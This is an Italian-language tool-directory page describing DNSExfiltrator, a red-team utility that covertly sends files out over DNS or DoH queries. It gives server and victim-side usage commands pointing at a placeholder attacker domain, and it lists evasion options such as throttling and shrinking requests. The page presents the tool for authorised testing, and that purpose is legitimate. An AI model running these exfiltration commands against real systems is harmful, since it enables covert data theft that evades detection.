Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
DNSExfiltrator — Esfiltrazione di dati tramite canale nascosto di richieste DNS | Kitploit
Strumenti/GitHubGitHub/arno0x/dnsexfiltrator
Esfiltrazione DatiPenetration TestingRed TeamingAnalisi DNS
GitHubarno0x/dnsexfiltrator

DNSExfiltrator

Esfiltrazione di dati tramite canale nascosto di richieste DNS

Vedi Repository
8841908 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

DNSExfiltrator

Autore: Arno0x0x - @Arno0x0x

DNSExfiltrator permette di trasferire (esfiltrare) un file attraverso un canale nascosto di richieste DNS. Si tratta fondamentalmente di uno strumento di test per perdite di dati che consente di esfiltrare dati attraverso un canale nascosto.

DNSExfiltrator ha due lati:

  1. Il lato server, costituito da un singolo script Python (dnsexfiltrator.py), che funge da server DNS personalizzato, ricevendo il file
  2. Il lato client (lato vittima), disponibile in tre varianti:
  • dnsExfiltrator.cs: uno script C# che può essere compilato con csc.exe per creare un eseguibile Windows gestito
  • Invoke-DNSExfiltrator.ps1: uno script PowerShell che offre esattamente le stesse funzionalità incapsulando l'assembly dnsExfiltrator
  • dnsExfiltrator.js: uno script JScript che è una conversione della DLL assembly dnsExiltrator utilizzando DotNetToJScript, e che fornisce esattamente le stesse funzionalità

Affinché il tutto funzioni è necessario possedere un nome di dominio e impostare il record DNS (NS) per quel dominio in modo che punti al server che eseguirà il lato server dnsexfiltrator.py.

Caratteristiche

Per impostazione predefinita, DNSExfiltrator utilizza il server DNS definito dal sistema, ma è anche possibile impostarne uno specifico (utile per scopi di debug o per eseguire il lato server localmente, ad esempio).

In alternativa, utilizzando il parametro h, DNSExfiltrator può eseguire DoH (DNS su HTTP) utilizzando i server DoH di Google o CloudFlare.

Per impostazione predefinita, i dati da esfiltrare sono codificati in base64URL per adattarsi alle richieste DNS. Tuttavia, alcuni resolver DNS potrebbero rompere questa codifica (abbastanza giusto poiché i FQDN non sono previsti come case-sensitive) alterando la sensibilità al maiuscolo/minuscolo (maiuscolo o minuscolo), che è ovviamente importante per il processo di codifica/decodifica. Per ovviare a questo problema è possibile utilizzare il flag -b32 per forzare la codifica Base32 dei dati, che comporta un leggero aumento delle dimensioni. Se si utilizza CloudFlare DoH, la codifica base32 viene applicata automaticamente.

DNSExfiltrator supporta la cifratura RC4 di base dei dati esfiltrati, utilizzando la password fornita per cifrare/decifrare i dati.

DNSExfiltrator fornisce anche alcune funzionalità opzionali per evitare il rilevamento:

  • limitazione delle richieste per rimanere più nascosti durante l'esfiltrazione dei dati
  • riduzione delle dimensioni della richiesta DNS (per impostazione predefinita cerca di utilizzare quanti più byte rimasti disponibili in ogni richiesta DNS per efficienza)
  • riduzione delle dimensioni dell'etichetta DNS (per impostazione predefinita cerca di utilizzare la dimensione massima supportata di 63 caratteri per etichetta)

Dipendenze

L'unica dipendenza è sul lato server, poiché lo script dnsexfiltrator.py si basa sulla libreria esterna dnslib. È possibile installarla usando pip:

root@kitploit:~
pip install -r requirements.txt

Utilizzo

LATO SERVER

Avviare lo script dnsexfiltrator.py passando il nome di dominio e la password di decifratura da utilizzare:

root@kitploit:~
root@kali:~# ./dnsexfiltrator.py -d mydomain.com -p password

LATO CLIENT

È possibile usare la versione compilata, oppure il wrapper PowerShell (che è sostanzialmente la stessa cosa) oppure il wrapper JScript. In ogni caso, i parametri sono gli stessi, con una leggera differenza nel modo di passarli in PowerShell.

1/ Utilizzo dell'eseguibile Windows compilato in C# (che puoi trovare nella directory release):

root@kitploit:~
dnsExfiltrator.exe <file> <domainName> <password> [-b32] [h=google|cloudflare] [s=<DNS_server>] [t=<throttleTime>] [r=<requestMaxSize>] [l=<labelMaxSize>]
      file:           [OBBLIGATORIO] Il nome del file da esfiltrare.
      domainName:     [OBBLIGATORIO] Il nome di dominio da utilizzare per le richieste DNS.
      password:       [OBBLIGATORIO] Password utilizzata per cifrare i dati da esfiltrare.
      -b32:           [OPZIONALE] Utilizza la codifica base32 dei dati. Potrebbe essere richiesta da alcuni resolver DNS che alterano il case.
      h:              [OPZIONALE] Utilizza i server DoH (DNS su HTTP) di Google o CloudFlare.
      DNS_Server:     [OPZIONALE] Il nome o l'IP del server DNS da utilizzare per le richieste DNS. Per impostazione predefinita viene usato quello di sistema.
      throttleTime:   [OPZIONALE] Il tempo in millisecondi da attendere tra una richiesta DNS e l'altra.
      requestMaxSize: [OPZIONALE] La dimensione massima in byte per ogni richiesta DNS. Per impostazione predefinita è 255 byte.
      labelMaxSize:   [OPZIONALE] La dimensione massima in caratteri per ogni etichetta (sottodominio) della richiesta DNS. Per impostazione predefinita è 63 caratteri.

2/ Utilizzo dello script PowerShell: richiamalo nel modo che preferisci (probabilmente conosci molti modi per invocare uno script powershell) insieme ai parametri dello script. Esempio base:

root@kitploit:~
c:\DNSExfiltrator> powershell
PS c:\DNSExfiltrator> Import-Module .\Invoke-DNSExfiltrator.ps1
PS c:\DNSExfiltrator> Invoke-DNSExfiltrator -i inputFile -d mydomain.com -p password -s my.dns.server.com -t 500
[...]

Consulta la sezione ESEMPI nel file dello script per ulteriori esempi di utilizzo.

3/ Utilizzo dello script JScript: passa gli stessi argomenti che useresti con l'eseguibile Windows standalone:

root@kitploit:~
cscript.exe dnsExiltrator.js inputFile mydomain.com password

Oppure, con alcune opzioni:

root@kitploit:~
cscript.exe dnsExiltrator.js inputFile mydomain.com password s=my.dns.server.com t=500

TODO

  • Qualcuno chiederà la cifratura AES invece di RC4, lo so... potrei aggiungerla in seguito
  • Mostrare il tempo di trasferimento stimato
  • Migliorare il parsing degli argomenti (sono troppo pigro per imparare a usare una libreria di parsing degli argomenti in C#, vorrei fosse semplice come in Python)

DISCLAIMER

Questo strumento è inteso per essere utilizzato solo in modo legale e legittimo:

  • sia sui propri sistemi come mezzo di apprendimento, dimostrazione di ciò che si può fare e come, o per testare i propri meccanismi di difesa e rilevamento
  • su sistemi per i quali si è stati ufficialmente e legittimamente autorizzati a svolgere valutazioni di sicurezza (penetration test, audit di sicurezza)

Citando gli autori di Empire: Non esiste modo di costruire strumenti offensivi utili per l'industria legittima della sicurezza informatica impedendo contemporaneamente agli attori malintenzionati di abusarne.

Scarica lo strumento